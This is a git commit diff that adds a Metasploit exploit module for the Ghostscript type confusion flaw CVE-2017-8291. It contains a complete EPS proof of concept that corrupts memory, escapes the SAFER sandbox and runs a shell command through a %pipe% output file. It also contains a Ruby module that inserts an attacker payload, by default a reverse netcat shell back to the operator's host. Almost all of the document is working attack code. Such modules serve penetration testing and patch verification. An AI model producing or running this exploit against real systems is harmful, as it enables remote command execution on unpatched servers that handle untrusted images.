Quick Ghostscript module based on the public PoC
HD Moore
parent
5450e96204
commit
afc804fa03
|
|
@ -0,0 +1,101 @@
|
||||||
|
%!PS-Adobe-3.0 EPSF-3.0
|
||||||
|
%%BoundingBox: -0 -0 100 100
|
||||||
|
|
||||||
|
|
||||||
|
/size_from 10000 def
|
||||||
|
/size_step 500 def
|
||||||
|
/size_to 65000 def
|
||||||
|
/enlarge 1000 def
|
||||||
|
|
||||||
|
%/bigarr 65000 array def
|
||||||
|
|
||||||
|
0
|
||||||
|
size_from size_step size_to {
|
||||||
|
pop
|
||||||
|
1 add
|
||||||
|
} for
|
||||||
|
|
||||||
|
/buffercount exch def
|
||||||
|
|
||||||
|
/buffersizes buffercount array def
|
||||||
|
|
||||||
|
|
||||||
|
0
|
||||||
|
size_from size_step size_to {
|
||||||
|
buffersizes exch 2 index exch put
|
||||||
|
1 add
|
||||||
|
} for
|
||||||
|
pop
|
||||||
|
|
||||||
|
/buffers buffercount array def
|
||||||
|
|
||||||
|
0 1 buffercount 1 sub {
|
||||||
|
/ind exch def
|
||||||
|
buffersizes ind get /cursize exch def
|
||||||
|
cursize string /curbuf exch def
|
||||||
|
buffers ind curbuf put
|
||||||
|
cursize 16 sub 1 cursize 1 sub {
|
||||||
|
curbuf exch 255 put
|
||||||
|
} for
|
||||||
|
} for
|
||||||
|
|
||||||
|
|
||||||
|
/buffersearchvars [0 0 0 0 0] def
|
||||||
|
/sdevice [0] def
|
||||||
|
|
||||||
|
enlarge array aload
|
||||||
|
|
||||||
|
{
|
||||||
|
.eqproc
|
||||||
|
buffersearchvars 0 buffersearchvars 0 get 1 add put
|
||||||
|
buffersearchvars 1 0 put
|
||||||
|
buffersearchvars 2 0 put
|
||||||
|
buffercount {
|
||||||
|
buffers buffersearchvars 1 get get
|
||||||
|
buffersizes buffersearchvars 1 get get
|
||||||
|
16 sub get
|
||||||
|
254 le {
|
||||||
|
buffersearchvars 2 1 put
|
||||||
|
buffersearchvars 3 buffers buffersearchvars 1 get get put
|
||||||
|
buffersearchvars 4 buffersizes buffersearchvars 1 get get 16 sub put
|
||||||
|
} if
|
||||||
|
buffersearchvars 1 buffersearchvars 1 get 1 add put
|
||||||
|
} repeat
|
||||||
|
|
||||||
|
buffersearchvars 2 get 1 ge {
|
||||||
|
exit
|
||||||
|
} if
|
||||||
|
%(.) print
|
||||||
|
} loop
|
||||||
|
|
||||||
|
.eqproc
|
||||||
|
.eqproc
|
||||||
|
.eqproc
|
||||||
|
sdevice 0
|
||||||
|
currentdevice
|
||||||
|
buffersearchvars 3 get buffersearchvars 4 get 16#7e put
|
||||||
|
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put
|
||||||
|
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put
|
||||||
|
put
|
||||||
|
|
||||||
|
|
||||||
|
buffersearchvars 0 get array aload
|
||||||
|
|
||||||
|
sdevice 0 get
|
||||||
|
16#3e8 0 put
|
||||||
|
|
||||||
|
sdevice 0 get
|
||||||
|
16#3b0 0 put
|
||||||
|
|
||||||
|
sdevice 0 get
|
||||||
|
16#3f0 0 put
|
||||||
|
|
||||||
|
|
||||||
|
currentdevice null false mark /OutputFile (%pipe%echo vulnerable > /dev/tty)
|
||||||
|
.putdeviceparams
|
||||||
|
1 true .outputpage
|
||||||
|
.rsdparams
|
||||||
|
%{ } loop
|
||||||
|
0 0 .quit
|
||||||
|
%asdf
|
||||||
|
|
||||||
|
|
@ -0,0 +1,75 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit
|
||||||
|
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::FILEFORMAT
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Ghostscript Type Confusion Arbitrary Command Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a type confusion vulnerability in Ghostscript that can
|
||||||
|
be exploited to obtain arbitrary command execution. This vulnerability affects
|
||||||
|
Ghostscript version 9.2.1 and earlier and can be exploited through libraries
|
||||||
|
such as ImageMagick and Pillow.
|
||||||
|
},
|
||||||
|
'Author' => [
|
||||||
|
'Atlassian Security Team', # Vulnerability discovery
|
||||||
|
'hdm' # Metasploit module
|
||||||
|
],
|
||||||
|
'References' => [
|
||||||
|
%w{CVE 2017-8291},
|
||||||
|
%w{URL https://bugs.ghostscript.com/show_bug.cgi?id=697808},
|
||||||
|
%w{URL http://seclists.org/oss-sec/2017/q2/148},
|
||||||
|
%w{URL https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=04b37bbce174eed24edec7ad5b920eb93db4d47d},
|
||||||
|
%w{URL https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=4f83478c88c2e05d6e8d79ca4557eb039354d2f3}
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Apr 27 2017',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => 'unix',
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'Privileged' => false,
|
||||||
|
'Payload' => {
|
||||||
|
'BadChars' => "\x22\x27\x5c)(", # ", ', \, (, and )
|
||||||
|
'Compat' => {
|
||||||
|
'PayloadType' => 'cmd cmd_bash',
|
||||||
|
'RequiredCmd' => 'generic netcat bash-tcp'
|
||||||
|
}
|
||||||
|
},
|
||||||
|
'Targets' => [
|
||||||
|
['EPS file', template: 'msf.eps']
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DefaultOptions' => {
|
||||||
|
'PAYLOAD' => 'cmd/unix/reverse_netcat',
|
||||||
|
'LHOST' => Rex::Socket.source_address,
|
||||||
|
'DisablePayloadHandler' => false,
|
||||||
|
'WfsDelay' => 9001
|
||||||
|
}
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
OptString.new('FILENAME', [true, 'Output file', 'msf.eps'])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
# Example usage from the bug tracker:
|
||||||
|
# $ gs -q -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f exploit2.eps
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
file_create(template.sub('echo vulnerable > /dev/tty', payload.encoded))
|
||||||
|
end
|
||||||
|
|
||||||
|
def template
|
||||||
|
::File.read(File.join(
|
||||||
|
Msf::Config.data_directory, 'exploits', 'CVE-2017-8291',
|
||||||
|
target[:template]
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
Loading…
Reference in New Issue